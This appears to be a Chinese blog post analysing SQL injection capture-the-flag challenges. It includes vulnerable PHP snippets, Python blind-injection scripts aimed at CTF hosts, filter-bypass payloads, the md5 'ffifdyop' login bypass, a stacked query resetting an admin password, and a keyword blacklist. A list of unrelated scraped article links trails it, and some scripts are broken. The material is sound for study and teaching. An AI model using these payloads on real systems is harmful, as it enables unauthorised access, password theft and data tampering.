1.代码审计发现 这里没有用escape_string,因此存在注入。

 function show($username){
global $conn;
$sql = "select role from `user` where username ='".$username."'";
$res = $conn ->query($sql);
if($res->num_rows>0){
echo "$username is ".$res->fetch_assoc()['role'];
}else{
die("Don't have this user!");
}
}

通过这里注入可以得到pasaword,$usename为被 单引号引起,所以应该首先注意闭合单引号。

pyhton脚本如下:

 # --coding:utf-8--    import requests
url="http://117.34.111.15:89/?action=show"
passwd=""
lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"
for i in xrange(1,33):
print i
for p in lists:
param={'username':"-1'=(ascii(mid((passwd)from("+str(i)+")))="+str(ord(p))+")='0"}
print requests.post(url,data=param).content
if "admin" in requests.post(url,data=param).content:
passwd=passwd+p
break
print passwd

首先可以通过注入得到password长度为32,即我们需要爆破32位长度的密码。

利用 (-1=x=x=0)=true的逻辑来依次判断出每一位密码。

因为有32位,所以外层循环需要32次,对每一次都需要内层循环遍历所有的数字和字母,当三个等于号为true时,页面返回中会返回包含“admin”的字符串,此时可以将爆破出的一位密码位保留。

登陆就是flag 登陆这里的admin判断直接用admin%c2这个去绕过(mysql客户端与数据库的字符转换trick,当客户端为utf8,数据库为latin1的时候,latin1不允许出现汉字,所以将%c2视为无用部分舍去)。

2.当注入时出现逗号,空格被过滤且关键字段被过滤

首先创建一张表作为要被查询的表作为演示

插入一些数据;

我们的目的是查询出id=4的passwd的值,但是空格逗号被过滤以及passwd字段被过滤,所以首先绕过空格和逗号的过滤,

空格的过滤可以用//,/**/,(),+绕过

逗号,关键字段可以用join查询来实现,以便于实现union联合查询。

首先看一下join的效果:

这里的1,2,3,4是我们可以替换的用于显示的数据位,比如:

我们通过id主键来查询出每一条结果

为了查出第四条记录的passwd字段的值,首先构造: 

 select * from((select 1)a join (select 2)b  join (select 3)c  join (select 4)d)

假设字段三是数据回显位,则将(select 3)改写为:

 (select result.3 from (select * from ((select 1)q join (select 2)w join (select 3)e join (select 4)r) union select * from table3 limit 1 offset 3) result)c

则最终语句为:

 select * from((select 1)a join (select 2)b  join (select result.3 from(select * from ((select 1)q join (select 2)w join (select 3)e join (select 4)r)union select * from table3 limit 1 offset 4)result)c join (select 4)d);

3.过滤了逗号,延时注入(sleep()函数):

首先无法使用if函数,但是可以用select case函数代替

 select case when (条件1) 代码1 else (条件2) 代码2

即可构造

 1 -1' select case when (substring(select flag from flag from i for 1))=j) then sleep(6) else 0 end and '1'='1

脚本如下:

4.sql in hash

代码如下:

 <?php
error_reporting(0);
$link = mysql_connect('localhost', 'root', '');
if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}
// 选择数据库
$db = mysql_select_db("test", $link);
if(!$db)
{
echo 'select db error';
exit();
}
// 执行sql
$password = "ffifdyop";
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>

我们在不知道密码的情况下要完成登陆,切密码经过hash,因为可以将hash之后的16进制转为字符串,即

即此时可构成注入 ,查询语句如下:

 select * from admin where pass= ''or'6<trash>'

 5.sql逻辑绕过:

 select * from *** where username ="" and password="";

即构造select * from *** where username = " " =" " and password =" " =" ";

 6.基于时间的延时注入:

 ' or sleep(10) and ''='

发现存在延时,此时首先测试flag的长度:

' and select((select length(flag) from flag)=32) or '1

 7.基于Mongodb的注入:

利用正则爆破admin账户的密码:

当匹配每一位字符时,若匹配正确则302跳转,若匹配错误,则无跳转,则根据是否发生跳转来判断每一位字符。

利用(.*)正则表达式去匹配除了被测试的当前字符以外的其他所有字符。

或者利用另一种正则匹配:

若匹配当前字符正确,则继续匹配,由于默认最后一个字符为 } ,则当匹配到 } 时,匹配结束。

8.宽字节盲注:

情况:and、or、mid、substr、union、>、<、空白符、ascii等为敏感词,

9.重置用户密码:

  select username ,password from user where username='$username'
 select username ,password from user where username='x';update user set password='123456' where userId=1 #''

 10.逻辑符号被过滤时的注入

过滤*,#,/ ,and,or,|,union,空格

此时可以用的payload

①:admin'%(1)%'1

括号中为所使用的判断条件

例如可以判断数据库长度:

admin'%(select length(database())>1)%'1'

判断数据库名字

admin'%(ascii(mid(database()) from 1 for 1)=90)%'1'

②:admin'^(1)^'1'

同上,括号中填入要执行的条件

11.过滤or

$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|and|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';

当过滤or的时候,即无法使用information_schema表了来获取表名,MySQL 5.7 之后的版本,在其自带的 mysql 库中,新增了 innodb_table_stats 和 innodb_index_stats 这两张日志表。如果数据表的引擎是innodb ,则会在这两张表中记录表、键的信息 。

因此我们使用 mysql.innodb_table_stats 来代替 information_schema.tables 即可获取表名。

12.left,right函数结合strcmp使用

假设有表如上所示,则可以使用如下过程来进行盲注:

初始化flag=""  #空字符串

假设查出来的第一位为b,那么只需要便利所有可见字符,并且使用strcmp函数与其进行对比即可

当遍历到正确字符的时候,返回值为0,此时就可以将此字符与flag拼接,并且依次截取2-n位flag,与全局的flag进行对比

重复上述过程就可以得到完整的flag,与flag相对的是right函数,right函数是从右边开始截取字符串,原理与left相同

import requests

dic = list('1234567890abcdefghijklmnopqrstuvwxyz[]<>@!-~?=_()*{}#. /')
ans = ''
for pos in range(1,1000):
flag = 1
for c in dic:
payload = "admin'and(strcmp(right((select * from flag),%d),'%s'0))||'"%(pos,c+ans)
resp = requests.get("http://kzone.2018.hctf.io/include/common.php")
if 'Set-Cookie' in resp.headers:
ans = c+ans
print(ord(c))
flag=0
break
if flag:
break
print("--"+ans+"--")

  这里引用一下现有的脚本进行分析,ans就是全局的flag,通过pos参数来依次截取1-n位flag,因为一般flag长度肯定是小于1000的,对于每一位字符都遍历一次可打印字符序列,并带入payload进行查询,具体的判断逻辑因题目可以改,直到flag=1此时退出循环,即flag已经提取结束。

12.利用between and 进行盲注

利用between and 进行盲注可以不使用逗号来进行盲注,假设有下表所示数据

还是依次截取1-n位字符来与正确的flag进行对比,当正确字符位于字符范围内时,则返回为1,不在字符范围内时,则返回为0,因此当返回为1时,下界字符就是正确的字符。

import requests

url = 'http://kzone.2018.hctf.io/admin/'
key = ''
strings = [chr(i) for i in range(32, 127)]
while True:
for i in reversed(strings):
payload = "admin' and (select * from F1444g) between '%s' and '%s' and '1" % (key + i, chr(126))
r = requests.get(url, headers=headers)
if 'Management Index' in r.text:
key += i
break
else:
print(i)
print(key)

借用上面的代码来说明流程,只需要逆序减小下界,当下界满足逻辑判断条件时即进行flag拼接,其中key为全局的flag。

ctf中常见注入题源码及脚本分析的更多相关文章

  1. CTF中常见密码题解密网站总结

    0x00.综合 网站中包含大多编码的解码. http://web2hack.org/xssee/ https://www.sojson.com/ http://web.chacuo.net/ 0x01 ...

  2. 在Xcode中使用Git进行源码版本控制

    http://www.cocoachina.com/ios/20140524/8536.html 资讯 论坛 代码 工具 招聘 CVP 外快 博客new 登录| 注册   iOS开发 Swift Ap ...

  3. 构建ASP.NET MVC4+EF5+EasyUI+Unity2.x注入的后台管理系统(6)-Unity 2.x依赖注入by运行时注入[附源码]

    原文:构建ASP.NET MVC4+EF5+EasyUI+Unity2.x注入的后台管理系统(6)-Unity 2.x依赖注入by运行时注入[附源码] Unity 2.x依赖注入(控制反转)IOC,对 ...

  4. Netty中NioEventLoopGroup的创建源码分析

    NioEventLoopGroup的无参构造: public NioEventLoopGroup() { this(0); } 调用了单参的构造: public NioEventLoopGroup(i ...

  5. 常见的Web源码泄露总结

    常见的Web源码泄露总结 源码泄露方式分类 .hg源码泄露 漏洞成因: hg init 的时候会生成 .hg 漏洞利用: 工具: dvcs-ripper .git源码泄露 漏洞成因: 在运行git i ...

  6. Apache Spark源码走读之23 -- Spark MLLib中拟牛顿法L-BFGS的源码实现

    欢迎转载,转载请注明出处,徽沪一郎. 概要 本文就拟牛顿法L-BFGS的由来做一个简要的回顾,然后就其在spark mllib中的实现进行源码走读. 拟牛顿法 数学原理 代码实现 L-BFGS算法中使 ...

  7. ThreadPoolExecutor的应用和实现分析(中)—— 任务处理相关源码分析 线程利用(转)

    前面一篇文章从Executors中的工厂方法入手,已经对ThreadPoolExecutor的构造和使用做了一些整理.而这篇文章,我们将接着前面的介绍,从源码实现上对ThreadPoolExecuto ...

  8. 在Eclipse中关联Android API源码

    在Eclipse中快速关联API源码,便于查看类以及方法.方法如下: 1. 在对应的项目文件右键——>properties——>java build path——>libraries ...

  9. 第九节:从源码的角度分析MVC中的一些特性及其用法

    一. 前世今生 乍眼一看,该标题写的有点煽情,最近也是在不断反思,怎么能把博客写好,让人能读下去,通俗易懂,深入浅出. 接下来几个章节都是围绕框架本身提供特性展开,有MVC程序集提供的,也有其它程序集 ...

随机推荐

  1. Replication-删除发布备注

    1.删除replication,先删除replication的作业,再删除对应的订阅,再删除发布: 2.相关脚本:删除监视器里不存在的条目sp_removedistpublisherdbreplica ...

  2. 用html5调取谷歌地图获取位置

    function getmap(){ if(!navigator.geolocation) throw "Geolocation not supported"; var image ...

  3. .NET Framework 各个版本介绍

    .NET Framework 1.1 自1.0版本以来的改进:自带了对mobile asp .net控件的支持.这在1.0版本是以附加功能方式实现的,现在已经集成到框架的内部.安全方面的变更 - 使得 ...

  4. POJ 2388

    还是水题,简单的排序.大半夜的,没脑子想太复杂的代码了,就随手找了段以前写的插入排序将就着用了. 题目的意思就是取一个数列的中位数,很简单,排序后取a[n/2]即可. 代码如下: #ifndef _2 ...

  5. v9更换域名

    网站在发展的过程中,很可能多次的修改域名.那么在PHPCMS V9中我们要怎么进行设置呢? 请进行以下步骤的修改: 修改/caches/configs/system.php里面所有和域名有关的,把以前 ...

  6. Reids命令解析-RENAME

    有一天开发突然照过来问,维萨我这个Redis实例这么慢呢?为什么这么慢,于是连上实例SLOWLOG 一看,这些慢日志都是大部分是RENMAE操作导致的,可是为什么RENAME操作会慢呢?不就是改个名字 ...

  7. tcpdf导出pdf数据支持中文的解决方案

    步骤如下:1.确保你测试tcpdf能正常输出英文内容的pdf2.测试输入中文内容后显示是?的乱码或者空白分析原因,是因为我们输入的中文,tcpdf字体库并不支持,因此乱码或者空白显示 添加一个合适的字 ...

  8. eclipse在多modules项目结构下避免模块间依赖引用的场景

    这个在单一classLoader时,不会有问题.如果多classloader下会有问题. 假设工程有两个模块,module2 依赖module1 当我们执行mvc eclipse:eclipse后,然 ...

  9. Mathematica学习笔记1

    非常喜欢Mathematica的"自动草稿纸"的理念,Magic Paper, 唔哈~ Mathematica的矩阵操作和Matlab的风格十分不同. [ ] 是一个Part运算符 ...

  10. Spring Security 概念基础 验证流程

    Spring Security 概念基础 验证流程 认证&授权 认证:确定是否为合法用户 授权:分配角色权限(分配角色,分配资源) 认证管理器(Authentication Manager) ...